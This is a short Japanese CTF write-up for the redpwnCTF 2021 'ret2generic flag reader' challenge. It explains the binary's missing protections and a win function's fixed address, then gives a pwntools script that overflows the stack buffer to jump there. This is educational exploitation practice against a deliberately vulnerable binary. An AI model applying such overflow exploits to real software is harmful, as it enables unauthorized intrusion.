###### tags: `redpwnCTF 2021` `Stack Overflow` # ret2generic flag reader - redpwnCTF 2021 ![](https://img.shields.io/badge/Type-Stack%20Overflow-red) [公式リポジトリ](https://github.com/redpwn/redpwnctf-2021-challenges/tree/master/pwn) ### writeup #### debug ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` 配布されたC言語のソースファイルを見ると、`super_generic_flag_reading_function_please_ret_to_me`という関数があって、その中の処理はFlagを表示している。 また`PIE`が無効なのでアドレスは変わらない。したがって、Buffer Overflowしたあとに、ここに飛ばせばいい。<br> gdbで、そのアドレスを確認すると、以下のアドレスであることがわかる。 ```c= 0x00000000004011f6 super_generic_flag_reading_function_please_ret_to_me ``` ### solver ```python= from pwn import * #io = process("./ret2generic-flag-reader") io = remote('mc.ax', 31077) payload = b"" payload += b"A"*40 payload += p64(0x00000000004011f6) io.sendlineafter("what do you think?", payload) io.interactive() ```